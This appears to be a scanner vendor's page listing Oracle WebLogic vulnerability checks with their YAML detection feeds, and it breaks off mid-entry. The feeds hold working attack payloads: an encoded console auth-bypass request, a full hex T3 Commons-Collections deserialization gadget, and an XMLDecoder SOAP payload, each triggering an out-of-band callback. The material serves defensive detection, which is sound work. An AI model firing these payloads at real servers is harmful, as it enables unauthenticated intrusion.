Oracle WebLogic — 5 vulnerability checks
noctis ships 5 vulnerability checks for Oracle WebLogic, covering 5 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Oracle WebLogic Server Administration Console Auth Bypass
| CVE | CVE-2020-14750 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | set_var, tcp_open, tcp_send, tcp_close, script, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/weblogic/CVE-2020-14750.yaml |
Oracle WebLogic Server is affected by CVE-2020-14750: an unauthenticated attacker can reach the privileged administration-console handler by sending an encoded path-traversal prefix on a console static-resource URL, bypassing the console authentication filter (the entry point of the public remote-code chain). The feed requests /console/css/%252e%252e%252fconsole.portal, keeps the console session cookie it is given, and requests the console home page through the same prefix: the finding fires when that page is the administration console home ("WLS Console" title, "Domain Structure" tree, "Log Out" link) while the same page requested without the prefix redirects to the login form. It never sends the command-execution gadget.
How noctis detects it
- Opens a persistent TCP/TLS socket
- Sends
GET /console/css/%252e%252e%252fconsole.portal HTTP/1.0on the open socket - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET /console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=HomePage1 - HTTP(S) request
GET /console/console.portal - Checks
home.bodyfor<title>[^<]*WLS Console[^<]*</title>→ finding QoD 75: Oracle WebLogic Server administration console authentication bypass (CVE-2020-14750)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2020-14750
- https://www.oracle.com/security-alerts/alert-cve-2020-14750.html
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-14750.yaml
Feed source — tests/vulnerabilities/weblogic/CVE-2020-14750.yaml
# Oracle WebLogic Server Administration Console authentication bypass
# (CVE-2020-14750) — an out-of-band patch for CVE-2020-14882.
#
# A request to a console static-resource path carrying an encoded ../ prefix
# (e.g. /console/css/%252e%252e%252fconsole.portal) is normalised *after* the
# administration-console authentication filter has decided the path looks like
# a public static asset, so the filter fails open and the request reaches the
# privileged console.portal handler without any credentials. On WebLogic this
# is the first stage of the public RCE chain (the reached handler then accepts
# a Coherence/MVEL ShellSession gadget).
#
# This feed is a DETECTION probe, not an exploit: it never sends the MVEL/OGNL
# command gadget and never asks the server to run anything. It proves the auth
# bypass by walking the real console flow (verified on vulhub/weblogic
# 12.2.1.3-2018, bug #2457 — the earlier per-run nonce reflection only existed
# in the mock; real WebLogic drops the query string and never echoes it):
#
# 1. GET /console/css/%252e%252e%252fconsole.portal → a vulnerable console
# answers 302 with a fresh ADMINCONSOLESESSION cookie and a Location to
# console.portal?_nfpb=true&_pageLabel=HomePage1. Sent raw over a
# tcp_open/tcp_send socket so every Set-Cookie line is visible
# (http_request keeps only the last one).
# 2. GET the HomePage1 portal page through the same %252e%252e%252f prefix,
# carrying that cookie → 200 "Home Page - <domain> - WLS Console" with the
# "Domain Structure" tree and a "Log Out" link: the administration console
# home, served without credentials. reqwest keeps %252e / %252f verbatim
# (only literal and %2e dot segments are resolved), so http_request with a
# long timeout copes with the slow first console render.
# 3. Control: GET /console/console.portal without the traversal prefix → a
# login redirect (LoginForm.jsp). A page that is simply public would serve
# the console home here too and is not reported.
#
# A cold console that answers the first request with its "Deploying
# application for /console/" page sets no session cookie; the feed then reports
# nothing (re-scan once the console has deployed).
uid: 59c721f1-3033-47fc-9ae6-536dada64db7
name: "Oracle WebLogic Server Administration Console Auth Bypass (CVE-2020-14750)"
description: |
Oracle WebLogic Server is affected by CVE-2020-14750: an unauthenticated
attacker can reach the privileged administration-console handler by sending an
encoded path-traversal prefix on a console static-resource URL, bypassing the
console authentication filter (the entry point of the public remote-code
chain). The feed requests /console/css/%252e%252e%252fconsole.portal, keeps
the console session cookie it is given, and requests the console home page
through the same prefix: the finding fires when that page is the
administration console home ("WLS Console" title, "Domain Structure" tree,
"Log Out" link) while the same page requested without the prefix redirects
to the login form. It never sends the command-execution gadget.
cves: [CVE-2020-14750]
cvss: 9.8
severity: critical
category: auth-bypass
confidence_base: 0.25
tags: [oracle, weblogic, auth-bypass, path-traversal, console, kev, rce, web]
services: [http, https]
author: noctis
version: "1.1.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2020-14750"
- "https://www.oracle.com/security-alerts/alert-cve-2020-14750.html"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-14750.yaml"
steps:
- id: init-session
action: set_var
var_name: console_session
var_value: ""
# 1 — Auth-bypass entry, sent verbatim over HTTP/1.0 on a raw socket so the
# whole header block, with every Set-Cookie line, is kept. tcp_send waits
# timeout_secs for the first reply byte (a slow console can take several
# seconds to create the session), where tcp_connect reads for 3 s only.
- id: bypass-open
action: tcp_open
handle: entry
port: "{{port}}"
timeout_secs: 10
store_as: entry_sock
- id: bypass-entry
action: tcp_send
handle: entry
send: "GET /console/css/%252e%252e%252fconsole.portal HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 30
store_as: trav
- id: bypass-close
action: tcp_close
handle: entry
# Keep the console session the bypassed handler just created. Header block
# only (stops at the first blank line), case-insensitive header name.
- id: extract-session
action: script
condition: "trav.responded == true && type_of(trav.response) == \"string\""
store_as: session_probe
code: |
let head = split(trav.response, "\r\n\r\n")[0];
let m = eregmatch("(^|\n)set-cookie:[ \t]*ADMINCONSOLESESSION=([^;\r\n ]+)", head, true);
if m.len() > 2 { console_session = m[2]; }
console_session
# 2 — The console home page through the same traversal prefix, carrying the
# session cookie. No redirects followed: a patched console answers this
# with a login redirect, a vulnerable one with the home page itself.
- id: bypass-home
action: http_request
condition: "console_session != \"\""
method: GET
port: "{{port}}"
path: "/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=HomePage1"
headers:
Cookie: "ADMINCONSOLESESSION={{console_session}}"
follow_redirects: false
tls_insecure: true
timeout_secs: 30
store_as: home
# 3 — Control: the console portal WITHOUT the traversal prefix must still
# redirect to the login form.
- id: control-probe
action: http_request
condition: "console_session != \"\""
method: GET
port: "{{port}}"
path: "/console/console.portal"
follow_redirects: false
tls_insecure: true
timeout_secs: 30
store_as: ctrl
# Finding: the traversal request reached the console home (title + navigation
# tree + logout link, all console-only markup) while the plain request was
# sent to the login form.
- id: bypass-match
action: match
condition: "console_session != \"\" && home.status == 200 && stridx(home.body, \"Domain Structure\") >= 0 && stridx(home.body, \"Log Out\") >= 0 && ctrl.status >= 300 && ctrl.status < 400 && type_of(ctrl.headers[\"location\"]) == \"string\" && stridx(ctrl.headers[\"location\"], \"LoginForm.jsp\") >= 0"
source: home.body
pattern: "<title>[^<]*WLS Console[^<]*</title>"
on_match:
finding:
title: "Oracle WebLogic Server administration console authentication bypass (CVE-2020-14750)"
description: "The console authentication filter failed open: /console/css/%252e%252e%252fconsole.portal issued an administration console session and, through the same prefix, served the console home page (Domain Structure tree, Log Out link) without any credentials, while /console/console.portal without the prefix redirected to the login form. This is the unauthenticated entry point of the CVE-2020-14750 remote-code chain."
remediation: "Apply Oracle Security Alert CVE-2020-14750 (out-of-band, November 2020) or a later Critical Patch Update. Until patched, restrict access to the /console context to trusted management networks."
confidence_delta: 0.50
qod: 75
evidence: "GET /console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=HomePage1 with the issued ADMINCONSOLESESSION → HTTP {{home.status}}, console home page served unauthenticated; control /console/console.portal → HTTP {{ctrl.status}} to the login form."
stop: trueOracle WebLogic Server T3 Commons-Collections Deserialization RCE
| CVE | CVE-2015-4852 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | tcp_open, tcp_send, match, script, wait_oob, tcp_close · highest QoD 97 |
| Feed | tests/vulnerabilities/weblogic/CVE-2015-4852.yaml |
A Java deserialization flaw in Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0 and 12.2.1.0: the T3 protocol deserializes Java objects sent by an unauthenticated client, and the bundled Apache Commons Collections library provides a gadget chain (InvokerTransformer) that turns this into remote code execution. Confirmed by sending a Commons Collections gadget whose only effect is an HTTP GET to the scanner's OOB listener.
How noctis detects it
- Opens a persistent TCP/TLS socket
- Sends a binary frame on the open socket
- Checks
helo.responseforHELO:(?:10\.3\.6\.0|12\.1\.2\.0|12\.1\.3\.0|12\.2\.1\.0)(?:\.0)?\.(?:…→ finding QoD 70: Oracle WebLogic Server affected by CVE-2015-4852 — version fingerprint (T3 HELO) - Parses / computes the next value with a Rhai script
- Sends a binary frame on the open socket
- Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: Oracle WebLogic Server T3 deserialization RCE confirmed (CVE-2015-4852)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2015-4852
- https://www.oracle.com/security-alerts/alert-cve-2015-4852.html
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/weblogic_deserialize_rawobject.rb
- https://github.com/projectdiscovery/nuclei-templates/blob/main/network/cves/2015/CVE-2015-4852.yaml
Feed source — tests/vulnerabilities/weblogic/CVE-2015-4852.yaml
# Oracle WebLogic Server — T3 Java deserialization RCE through Apache
# Commons Collections (CVE-2015-4852, CISA KEV).
#
# Ported from OpenVAS/Greenbone NVT
# 2016/oracle/gb_weblogic_server_CVE-2015-4852_active.nasl (GPL-2.0-only,
# OID 1.3.6.1.4.1.25623.1.0.105829). The plugin sends the T3 handshake, then a
# T3 message whose abbreviation table carries a ysoserial CommonsCollections1
# object, and sniffs the ICMP echo the gadget's `ping` sends back. noctis has
# no packet capture, so the gadget's effect differs: instead of spawning
# `ping`, its transformer chain calls
# new java.net.URL("{{oob_url}}").openStream() — one HTTP GET to the OOB
# listener, no process started, nothing written on the target. The gadget is
# also the CommonsCollections6 variant rather than CommonsCollections1: CC1
# goes through AnnotationInvocationHandler, which JDK 8u71+ neutralises, so it
# misses an unpatched WebLogic running on a current JDK; CC6 does not.
#
# WebLogic multiplexes T3 on its HTTP listen port (7001; t3s on the SSL port),
# so the feed targets http/https services and the socket is TLS-wrapped on
# https automatically.
#
# 1. Exploit + OOB callback (QoD 97, needs --oob): T3 handshake, then the T3
# frame with the gadget. A vulnerable server deserializes it while reading
# the abbreviation table and fetches {{oob_url}}; a patched server (CPU
# January 2016+ class filter, or a T3 connection filter) never calls back.
# Version independent: any release that runs the gadget is reported.
# 2. Version fingerprint (QoD 70, only when OOB is NOT configured): the T3
# HELO names an affected release (10.3.6.0, 12.1.2.0, 12.1.3.0, 12.2.1.0).
# Labelled as a fingerprint: the patch level is not visible in the HELO,
# so a patched server of those releases is reported too. When OOB is
# configured this branch is skipped, so a missing callback is never
# papered over by a version match. Older unsupported releases (10.3.5 and
# earlier, 12.1.1) are just as vulnerable but only the OOB branch sees them.
#
# Engine note: tcp_send reads a reply for a fixed idle window (raw_socket
# READ_IDLE_MS); a server slower than that to send its HELO is not seen.
uid: f6d95bc8-2d51-4fbb-91bc-795b972d2155
name: "Oracle WebLogic Server T3 Commons-Collections Deserialization RCE (CVE-2015-4852)"
description: |
A Java deserialization flaw in Oracle WebLogic Server 10.3.6.0, 12.1.2.0,
12.1.3.0 and 12.2.1.0: the T3 protocol deserializes Java objects sent by an
unauthenticated client, and the bundled Apache Commons Collections library
provides a gadget chain (InvokerTransformer) that turns this into remote code
execution. Confirmed by sending a Commons Collections gadget whose only effect
is an HTTP GET to the scanner's OOB listener.
cves: [CVE-2015-4852]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [oracle, weblogic, t3, deserialization, commons-collections, java, rce, intrusive, oob, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2015-4852"
- "https://www.oracle.com/security-alerts/alert-cve-2015-4852.html"
- "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/weblogic_deserialize_rawobject.rb"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/network/cves/2015/CVE-2015-4852.yaml"
steps:
# 1. One socket for the whole exchange: the gadget frame must follow the
# handshake on the same T3 connection.
- id: open-t3
action: tcp_open
handle: t3
port: "{{port}}"
timeout_secs: 10
store_as: conn
# 2. T3 handshake, as sent by the OpenVAS plugin and Metasploit:
# "t3 12.2.1\nAS:255\nHL:19\nMS:10000000\n\n"
# A WebLogic server answers "HELO:<release>.false\n...".
- id: t3-handshake
action: tcp_send
handle: t3
condition: "conn.connected == true"
send_hex: "74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a"
store_as: helo
# 3. Fingerprint fallback (no OOB): affected release in the HELO. The
# trailing ".false"/".true" flag anchors the version (12.2.1.0 vs
# 12.2.1.0.0 are both spellings WebLogic uses; 12.2.1.4.0 never matches).
- id: affected-version
action: match
condition: "!oob_enabled && helo.responded == true"
source: helo.response
pattern: "HELO:(?:10\\.3\\.6\\.0|12\\.1\\.2\\.0|12\\.1\\.3\\.0|12\\.2\\.1\\.0)(?:\\.0)?\\.(?:false|true)"
on_match:
finding:
title: "Oracle WebLogic Server affected by CVE-2015-4852 — version fingerprint (T3 HELO)"
description: "The T3 handshake on this port was answered by an affected WebLogic release (10.3.6.0, 12.1.2.0, 12.1.3.0 or 12.2.1.0), so the T3 deserialization entry point is reachable without authentication. Fingerprint only: exploitation was not attempted because no OOB listener is configured, and the patch level is not visible in the handshake. Re-scan with --oob to confirm."
remediation: "Apply Oracle's Security Alert for CVE-2015-4852 (or a later Critical Patch Update), and block T3/T3s from untrusted networks with a WebLogic connection filter (weblogic.security.net.ConnectionFilterImpl)."
confidence_delta: 0.40 # 0.30 + 0.40 = 0.70
qod: 70
evidence: "T3 handshake reply: {{helo.response}}"
stop: true
# 4. Build the T3 frame carrying the gadget (OOB only). The server answered
# the handshake, so this is a T3 listener.
- id: build-frame
action: script
condition: "oob_enabled && helo.responded == true && helo.response.contains(\"HELO:\")"
store_as: t3msg
code: |
let url = oob_url;
// T3 message body (the 4-byte length prefix is added last). Verbatim from
// the OpenVAS plugin's payload_before: CMD_IDENTIFY_REQUEST header, then
// one abbreviation object (ClassTableEntry for PackageInfo), then the
// "fe010000" separator that opens the next object slot.
let body = "";
body += "016501ffffffffffffffff000000710000ea6000000018432ec6a2a63985b5af7d63e64383f42a6d92c9e9af0f947202";
body += "7973720078720178720278700000000c00000002000000000000000000000001007070707070700000000c0000000200";
body += "0000000000000000000001007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c617373546162";
body += "6c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e";
body += "5061636b616765496e666fe6f723e7b8ae1ec90200094900056d616a6f724900056d696e6f7249000b70617463685570";
body += "6461746549000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f72617279506174";
body += "63684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f72";
body += "71007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000";
// Commons Collections gadget, CommonsCollections6 layout (ysoserial),
// generated with ObjectOutputStream and commons-collections 3.1:
// HashSet{ TiedMapEntry(LazyMap(HashMap, ChainedTransformer[
// ConstantTransformer(java.net.URL.class),
// InvokerTransformer("getConstructor", [Class[]], [[String.class]]),
// InvokerTransformer("newInstance", [Object[]], [[<oob_url>]]),
// InvokerTransformer("openStream", [], []),
// ConstantTransformer(1) ]), "noctis") }.
// HashSet.readObject hashes the entry -> LazyMap.get -> the chain. Unlike
// CommonsCollections1 it does not go through AnnotationInvocationHandler,
// so it also fires on JDK 8u71+ (an unpatched WebLogic on a current JDK).
// The chunk ends on the TC_STRING tag (0x74) of the URL argument.
body += "aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f400000";
body += "00000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e";
body += "546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563";
body += "743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b78707400066e6f637469737372002a6f72672e617061";
body += "6368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c00";
body += "07666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73";
body += "666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63";
body += "746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65";
body += "727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65";
body += "723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f";
body += "726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c";
body += "6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b194020001";
body += "4c000969436f6e7374616e7471007e000378707672000c6a6176612e6e65742e55524c962537361afce4720300074900";
body += "0868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e67";
body += "3b4c000466696c6571007e00124c0004686f737471007e00124c000870726f746f636f6c71007e00124c000372656671";
body += "007e001278707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72";
body += "732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a617661";
body += "2f6c616e672f4f626a6563743b4c000b694d6574686f644e616d6571007e00125b000b69506172616d54797065737400";
body += "125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f";
body += "1073296c020000787000000001757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870";
body += "00000001767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb342020000787074000e676574436f6e7374";
body += "727563746f727571007e001a000000017671007e001a7371007e00147571007e0018000000017571007e001800000001";
body += "74";
body += p16be(strlen(url)); // TC_STRING length
body += hexstr(url); // the OOB URL the target will GET
// Rest of the gadget: openStream / ConstantTransformer(1), the TiedMapEntry
// key and the HashSet / HashMap footers.
body += "74000b6e6577496e7374616e63657571007e001a000000017671007e00187371007e00147571007e0018000000007400";
body += "0a6f70656e53747265616d7571007e001a000000007371007e000f737200116a6176612e6c616e672e496e7465676572";
body += "12e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b02";
body += "0000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f616446";
body += "6163746f724900097468726573686f6c6478703f4000000000000c77080000001000000000787878";
let frame = p32be(strlen(body) / 2 + 4) + body;
#{ frame: frame, len: strlen(frame) / 2 }
# 5. Send the frame. The reply (if any) does not matter: the proof is the
# callback.
- id: send-gadget
action: tcp_send
handle: t3
condition: "oob_enabled && helo.responded == true && helo.response.contains(\"HELO:\")"
send_hex: "{{t3msg.frame}}"
store_as: gadget_reply
# 6. The gadget's HTTP GET reaching the OOB listener proves the server
# deserialized the object and ran the transformer chain.
- id: wait-callback
action: wait_oob
condition: "oob_enabled && helo.responded == true && helo.response.contains(\"HELO:\")"
oob_timeout_secs: 20
store_as: oob_result
on_success:
finding:
title: "Oracle WebLogic Server T3 deserialization RCE confirmed (CVE-2015-4852)"
description: "An unauthenticated T3 message carrying a Commons Collections (CommonsCollections6) gadget was deserialized by the server, which executed the gadget's transformer chain and fetched the scanner's OOB URL. Arbitrary Java code execution is possible."
remediation: "Apply Oracle's Security Alert for CVE-2015-4852 (or a later Critical Patch Update), and block T3/T3s from untrusted networks with a WebLogic connection filter (weblogic.security.net.ConnectionFilterImpl)."
confidence_delta: 0.65 # 0.30 + 0.65 = 0.95
qod: 97
evidence: "T3 handshake: {{helo.response}} — gadget frame ({{t3msg.len}} bytes) made the server send {{oob_result.method}} /{{oob_token}} to the OOB listener"
stop: true
# 7. Always drop the socket.
- id: close-t3
action: tcp_close
handle: t3Oracle WebLogic Server wls9_async_response XMLDecoder deserialization RCE
| CVE | CVE-2019-2725 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | http_request, wait_oob, match · highest QoD 97 |
| Feed | tests/vulnerabilities/weblogic/CVE-2019-2725.yaml |
Oracle WebLogic Server 10.3.6.0 and 12.1.3.0 deserialize the SOAP WorkContext header of /_async/AsyncResponseService with java.beans.XMLDecoder, and the element filter added for CVE-2017-10271 still accepts the <class> element, so an unauthenticated request can call a constructor of the attacker's choice. When the scan has an out-of-band server, the feed posts a WorkContext whose <class> element builds WebLogic's bundled Spring XML application context with the scanner's callback URL as its configuration location: a vulnerable server fetches that URL with a single HTTP GET (the reply is not a valid bean definition, so nothing else runs). The callback confirms the finding. Without an out-of-band server, the feed reports the issue at version level when the asynchronous response service is deployed and the console reports an affected release.
How noctis detects it
- HTTP(S) request
POST /_async/AsyncResponseServicewith a crafted body - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: Oracle WebLogic Server wls9_async_response XMLDecoder RCE confirmed (CVE-2019-2725)
- HTTP(S) request
GET /_async/AsyncResponseService - HTTP(S) request
GET /console/login/LoginForm.jsp - Checks
console.bodyforWebLogic Server Version: (?:10\.3\.6\.0|12\.1\.3\.0(?:\.0)?)(?:[^0-9.…→ finding QoD 70: Oracle WebLogic Server affected by CVE-2019-2725 — async response service deployed
References:
- https://nvd.nist.gov/vuln/detail/CVE-2019-2725
- https://www.oracle.com/security-alerts/alert-cve-2019-2725.html
- https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-2725.yaml
Feed source — tests/vulnerabilities/weblogic/CVE-2019-2725.yaml
# Oracle WebLogic Server wls9_async_response XMLDecoder deserialization — CVE-2019-2725.
#
# The wls9_async_response application (/_async/AsyncResponseService) hands the
# SOAP <work:WorkContext> header to java.beans.XMLDecoder. CVE-2019-2725 is the
# bypass of the CVE-2017-10271 fix: that fix (WorkContextXmlInputAdapter.validate)
# rejects <object>, <new>, <method>, a <void> with any attribute but `index`, and
# a non-byte <array>, but it lets the <class> element through. A
# <class><string>X</string><void>ARGS</void></class> construct calls X's
# constructor with ARGS, so an unauthenticated attacker still runs code.
# Affected: 10.3.6.0 and 12.1.3.0. CISA KEV, used in ransomware campaigns.
#
# Issue #2453: the previous version of this feed posted to the CVE-2017-10271 sink
# (/wls-wsat/CoordinatorPortType) and matched a ClassNotFoundException that a real
# WebLogic 10.3.6 writes only to its server log — 0 findings on a real target.
#
# DETECTION
# 1. OOB proof (QoD 97, only when the scan runs with OOB): post a WorkContext whose
# <class> construct builds the repackaged Spring ClassPathXmlApplicationContext
# (com.bea.core.repackaged.springframework, on the system classpath of 10.3.6 and
# 12.1.3) with {{oob_url}} as its config location. Spring fetches that URL with
# one plain HTTP GET; the reply is not a bean definition, so the context fails
# and nothing else happens. The payload uses only elements the CVE-2017-10271
# filter allows, so it confirms the 2725 bypass itself, and the CVE-2019-2725
# fix (which rejects <class>) stops it. The endpoint is asynchronous (200/202 at
# once, the WorkContext is processed on another thread), so there is no in-band
# timing or error signal: measured on vulhub/weblogic:10.3.6.0-2017, a
# Thread.sleep(3000) payload returns in 4 ms.
# 2. Version fallback (QoD 70, only without OOB): /_async/AsyncResponseService is
# deployed and the console login page reports 10.3.6.0 or 12.1.3.0. The patch
# level is not visible remotely; undeploying bea_wls9_async_response.war is the
# documented mitigation, so the endpoint gate removes that case. With OOB on, a
# missing callback is the answer and no version finding is raised.
#
# The CVE-2017-10271 wls-wsat sink is not tested here (it needs its own feed).
uid: 10de68d4-2c71-4ac1-b3f7-df7da28f63cc
name: "Oracle WebLogic Server wls9_async_response XMLDecoder deserialization RCE (CVE-2019-2725)"
description: |
Oracle WebLogic Server 10.3.6.0 and 12.1.3.0 deserialize the SOAP WorkContext
header of /_async/AsyncResponseService with java.beans.XMLDecoder, and the
element filter added for CVE-2017-10271 still accepts the <class> element, so
an unauthenticated request can call a constructor of the attacker's choice.
When the scan has an out-of-band server, the feed posts a WorkContext whose
<class> element builds WebLogic's bundled Spring XML application context with
the scanner's callback URL as its configuration location: a vulnerable server
fetches that URL with a single HTTP GET (the reply is not a valid bean
definition, so nothing else runs). The callback confirms the finding. Without
an out-of-band server, the feed reports the issue at version level when the
asynchronous response service is deployed and the console reports an affected
release.
cves: [CVE-2019-2725]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [oracle, weblogic, wls9-async, xmldecoder, deserialization, rce, kev, oob, intrusive, web]
services: [http, https]
author: noctis
version: "3.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2019-2725"
- "https://www.oracle.com/security-alerts/alert-cve-2019-2725.html"
- "https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-2725.yaml"
steps:
# ── OOB proof ──────────────────────────────────────────────────────────────
# <class><string>C</string><void><string>U</string></void></class> calls new C(U).
# Only <java>, <class>, <void> (no attribute) and <string> are used: all of them
# pass the CVE-2017-10271 filter. The WS-Addressing headers route the request to
# the async response handler as in public PoCs.
- id: async-oob-probe
action: http_request
method: POST
path: "/_async/AsyncResponseService"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: "oob_enabled"
headers:
Content-Type: "text/xml;charset=UTF-8"
SOAPAction: ""
Accept: "*/*"
body: |
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>noctis</wsa:Action>
<wsa:RelatesTo>noctis-{{oob_token}}</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<class><string>com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext</string><void><string>{{oob_url}}</string></void></class>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body><asy:onAsyncDelivery/></soapenv:Body>
</soapenv:Envelope>
store_as: probe
- id: wait-callback
action: wait_oob
oob_timeout_secs: 20
store_as: oob_result
condition: "oob_enabled"
on_success:
finding:
title: "Oracle WebLogic Server wls9_async_response XMLDecoder RCE confirmed (CVE-2019-2725)"
description: "/_async/AsyncResponseService deserialized the scanner's WorkContext with XMLDecoder and ran the constructor named in a <class> element, an element the CVE-2017-10271 filter does not block: the server built WebLogic's bundled Spring application context and fetched the scanner's callback URL. An unauthenticated attacker can run arbitrary code the same way."
remediation: "Apply the Oracle Security Alert for CVE-2019-2725 (April 2019) or a later Critical Patch Update. Until then, undeploy bea_wls9_async_response.war and wls-wsat.war, or block /_async/ and /wls-wsat/ from untrusted networks."
confidence_delta: 0.67 # 0.30 + 0.67 = 0.97
qod: 97
evidence: "OOB callback received after the <class> WorkContext was posted to /_async/AsyncResponseService: {{oob_result.body}}"
stop: true
# ── Version fallback (no OOB server) ───────────────────────────────────────
# The async response service must be deployed: GET answers its service page.
- id: async-endpoint
action: http_request
method: GET
path: "/_async/AsyncResponseService"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "!oob_enabled"
store_as: async_page
- id: console-login
action: http_request
method: GET
path: "/console/login/LoginForm.jsp"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "!oob_enabled && async_page.status == 200 && stridx(async_page.body, \"AsyncResponseService\") >= 0"
store_as: console
- id: affected-version
action: match
condition: "!oob_enabled && async_page.status == 200 && stridx(async_page.body, \"AsyncResponseService\") >= 0 && console.status == 200"
source: console.body
pattern: "WebLogic Server Version: (?:10\\.3\\.6\\.0|12\\.1\\.3\\.0(?:\\.0)?)(?:[^0-9.]|$)"
on_match:
finding:
title: "Oracle WebLogic Server affected by CVE-2019-2725 — async response service deployed"
description: "The WebLogic console reports an affected release (10.3.6.0 or 12.1.3.0) and /_async/AsyncResponseService is deployed, the unauthenticated XMLDecoder entry point of CVE-2019-2725. The patch level is not visible remotely: verify that the CVE-2019-2725 Security Alert (April 2019) or a later Critical Patch Update is installed, or run the scan with an out-of-band server to confirm."
remediation: "Apply the Oracle Security Alert for CVE-2019-2725 (April 2019) or a later Critical Patch Update. Until then, undeploy bea_wls9_async_response.war and wls-wsat.war, or block /_async/ and /wls-wsat/ from untrusted networks."
confidence_delta: 0.40 # 0.30 + 0.40 = 0.70
qod: 70
evidence: "/_async/AsyncResponseService answered HTTP {{async_page.status}} and /console/login/LoginForm.jsp reports an affected WebLogic Server version"
stop: trueOracle WebLogic Server .//WEB-INF/ Deployment Descriptor Disclosure
| CVE | CVE-2022-21371 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | file-read — File read |
| Services | http, https |
| Detection | http_request, match, tcp_connect, script · highest QoD 75 |
| Feed | tests/vulnerabilities/weblogic/CVE-2022-21371.yaml |
Tests for CVE-2022-21371: Oracle WebLogic Server (and other servlet containers with the same flaw) serves the protected /WEB-INF/web.xml deployment descriptor when the request-target is `.//WEB-INF/web.xml` instead of `/WEB-INF/web.xml`. The feed sends the bypass request and confirms an HTTP 200 reply carrying a real deployment descriptor that the plain /WEB-INF/ path does not return.
How noctis detects it
- HTTP(S) request
GET /WEB-INF/web.xml - Checks
direct_resp.bodyfor(?m)^[ \t]*<(?:web-app|weblogic-web-app|servlet|servlet-mapping)(?: [… - Raw TCP (TLS on HTTPS), sent verbatim:
